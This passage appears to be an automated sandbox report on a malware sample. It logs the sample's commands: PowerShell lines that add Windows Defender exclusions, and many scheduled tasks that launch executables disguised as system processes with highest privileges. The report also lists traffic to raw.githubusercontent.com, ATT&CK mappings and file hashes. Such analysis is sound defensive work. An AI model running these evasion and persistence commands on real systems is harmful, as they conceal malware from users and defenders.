        PID:2344
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\TAPI\lsass.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\System.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:448
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Desktop\csrss.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Mozilla Maintenance Service\logs\WMIADAP.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2252
        
        C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe
        
        "C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2248
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\4rzlnKig63.bat"
        8⤵
        
        PID:2620
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        9⤵
        
        PID:2204
        
        C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe
        
        "C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe"
        9⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2392
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\aMI81VmL1g.bat"
        10⤵
        
        PID:1156
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        11⤵
        
        PID:972
        
        C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe
        
        "C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe"
        11⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2104
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\pdW26R6SPG.bat"
        12⤵
        
        PID:1664
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        13⤵
        
        PID:2300
        
        C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe
        
        "C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe"
        13⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2760
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\XIQ15LoDrx.bat"
        14⤵
        
        PID:1868
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        15⤵
        
        PID:2568
        
        C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe
        
        "C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe"
        15⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2028
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\d8IMWcflW5.bat"
        16⤵
        
        PID:2116
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        17⤵
        
        PID:2392
        
        C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe
        
        "C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe"
        17⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2272
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\CooinIVsng.bat"
        18⤵
        
        PID:640
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        19⤵
        
        PID:1976
        
        C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe
        
        "C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe"
        19⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2216
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\axBdnWD1Gl.bat"
        20⤵
        
        PID:2016
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        21⤵
        
        PID:2000
        
        C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe
        
        "C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe"
        21⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1608
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\80JI9OTYea.bat"
        22⤵
        
        PID:2252
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        23⤵
        
        PID:852
        
        C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe
        
        "C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe"
        23⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2516
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\MsMShxucCb.bat"
        24⤵
        
        PID:2528
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        25⤵
        
        PID:1932
        
        C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe
        
        "C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe"
        25⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1424
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Rhkc0SdEF2.bat"
        26⤵
        
        PID:580
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        27⤵
        
        PID:1920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 11 /tr "'C:\Program Files\Common Files\Services\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\Common Files\Services\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\Program Files\Common Files\Services\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2876

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\providercommon\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\providercommon\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 11 /tr "'C:\providercommon\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "audiodga" /sc MINUTE /mo 14 /tr "'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\audiodg.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "audiodg" /sc ONLOGON /tr "'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\audiodg.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "audiodga" /sc MINUTE /mo 9 /tr "'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\audiodg.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "audiodga" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\audiodg.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "audiodg" /sc ONLOGON /tr "'C:\Users\Default User\audiodg.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "audiodga" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\audiodg.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 14 /tr "'C:\Windows\IME\it-IT\lsm.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2508

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\IME\it-IT\lsm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1648

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 5 /tr "'C:\Windows\IME\it-IT\lsm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\MSOCache\All Users\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 9 /tr "'C:\Windows\security\audit\lsm.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\security\audit\lsm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 10 /tr "'C:\Windows\security\audit\lsm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1916

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Downloads\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Users\Public\Downloads\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1872

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 10 /tr "'C:\Users\Public\Downloads\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "audiodga" /sc MINUTE /mo 12 /tr "'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\audiodg.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "audiodg" /sc ONLOGON /tr "'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\audiodg.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "audiodga" /sc MINUTE /mo 12 /tr "'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\audiodg.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2604

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\providercommon\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\providercommon\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\providercommon\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2796

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 14 /tr "'C:\Program Files\Microsoft Games\Hearts\en-US\WMIADAP.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAP" /sc ONLOGON /tr "'C:\Program Files\Microsoft Games\Hearts\en-US\WMIADAP.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2968

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 7 /tr "'C:\Program Files\Microsoft Games\Hearts\en-US\WMIADAP.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Adobe\Reader 9.0\Esl\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1816

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Reader 9.0\Esl\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Adobe\Reader 9.0\Esl\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1684

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Portable Devices\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1712

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Portable Devices\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 11 /tr "'C:\Windows\TAPI\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\TAPI\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\Windows\TAPI\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2820

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2948

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAP" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\WMIADAP.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 7 /tr "'C:\providercommon\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2588

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\providercommon\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'C:\providercommon\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\Users\Default\Desktop\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Default\Desktop\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Users\Default\Desktop\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\WMIADAP.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAP" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\WMIADAP.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\WMIADAP.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1180

Network

DNS

raw.githubusercontent.com

WMIADAP.exe

Remote address:

8.8.8.8:53

Request

raw.githubusercontent.com

IN A

Response

raw.githubusercontent.com

IN A

185.199.109.133

raw.githubusercontent.com

IN A

185.199.111.133

raw.githubusercontent.com

IN A

185.199.108.133

raw.githubusercontent.com

IN A

185.199.110.133

185.199.109.133:443

raw.githubusercontent.com

tls

WMIADAP.exe

793 B
4.2kB
10
11
185.199.109.133:443

raw.githubusercontent.com

tls

WMIADAP.exe

793 B
4.2kB
10
11
185.199.109.133:443

raw.githubusercontent.com

tls

WMIADAP.exe

741 B
4.1kB
9
10
185.199.109.133:443

raw.githubusercontent.com

tls

WMIADAP.exe

793 B
4.2kB
10
11
185.199.109.133:443

raw.githubusercontent.com

tls

WMIADAP.exe

845 B
4.2kB
11
11
185.199.109.133:443

raw.githubusercontent.com

tls

WMIADAP.exe

789 B
4.2kB
10
11
185.199.109.133:443

raw.githubusercontent.com

tls

WMIADAP.exe

793 B
4.2kB
10
11
185.199.109.133:443

raw.githubusercontent.com

tls

WMIADAP.exe

793 B
4.2kB
10
11
185.199.109.133:443

raw.githubusercontent.com

tls

WMIADAP.exe

793 B
4.2kB
10
11
185.199.109.133:443

raw.githubusercontent.com

tls

WMIADAP.exe

793 B
4.2kB
10
11

8.8.8.8:53

raw.githubusercontent.com

dns

WMIADAP.exe

71 B
135 B
1
1

DNS Request

raw.githubusercontent.com

DNS Response

185.199.109.133

185.199.111.133

185.199.108.133

185.199.110.133

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Recovery\480d7142-91a3-11ef-b9f6-6e5a89f5a3c7\42af1c969fbb7b

Filesize
626B

MD5
2a5f8c0ccb2b66fcf0e075e40d9df73e

SHA1
dcb0d5fc908ad631b129d013d6ea3b6f2e9a2359

SHA256
f592b3932932a184d7b2dd29b2ed3f0073a9e356d7d4e4fd5fe8416e9e724cda

SHA512
1237f8bcf61f45c9594eb4013e0d4a24c937557b1078246e0641407d4b4e06b11ac2b1ab04c97e81e8e168c961748ae33822a718ab6c954e403b5cb656fb42b1

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
e82e8a866bc0b48aaa0fdecd6305b77a

SHA1
936fdc17f4f5355055474fe504a11fd94e54e93e

SHA256
e05dfb878f8c4c80fe787f7006591b9f572a2c7ee106ae33842aa4a497267a55

SHA512
0b0f5213e13459bb20a3d382d6cce4aac505eb2f8e038a14d187d69437f0b75fa030a9bcbfdeb0180747cbab689e42af92ab261f5701d852dd1e25f76ed03bdd

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
3e62d918d00bb70a44f608f8ad54ad84

SHA1
5beb6a69fedc081d7bab8de12fc7a05c24c87dbe

SHA256
fcd66bd3a85bb1b8e447f99be07154dd7e2837d9b11326774b56ef82a2b288bb

SHA512
1c07a9e8311bce02d13e1572a9378b8f9832e110027d95c20a9e2ac22744699ef6d6b193b0779b0bfd489e3ceba49cea3590eb6842bc81434325a6c1cc2154fc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
f88d652fb52c84e34d4308c1729f7e10

SHA1
1eb7e7378e0cc7f10753a4bc5776bd1bf06474f8

SHA256
e77b06c5592774fd22e3a8f85a4d4444d85b88f93aa69d90acc9bafb168ab7ed

SHA512
a7a84e9fdda5ba5d59b146f47e7be832c5539bd54df0ac22b314dfc4f94ef1a637f147076b66f6c5d5b97465b41e46322b387f431e7df5b7315f93b5a6d937c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
f6b206bf1e2660fb673e00c4de89fef6

SHA1
06e70da9d88a01694ab69f53db72eac52fb5c082

SHA256
01e07540a3af8c294eee43516613e5ca9752a4778010af0e3a3cd72cf364065c

SHA512
3f20e9793f7c64c30baffc146ff0ae74ebaa52a3a36f23a2fdc4167ba7e6a1b47ea2968a00f171103b2cce03c956e803b7738377ca2c59c8018e7ce9030beb15

Download Submit
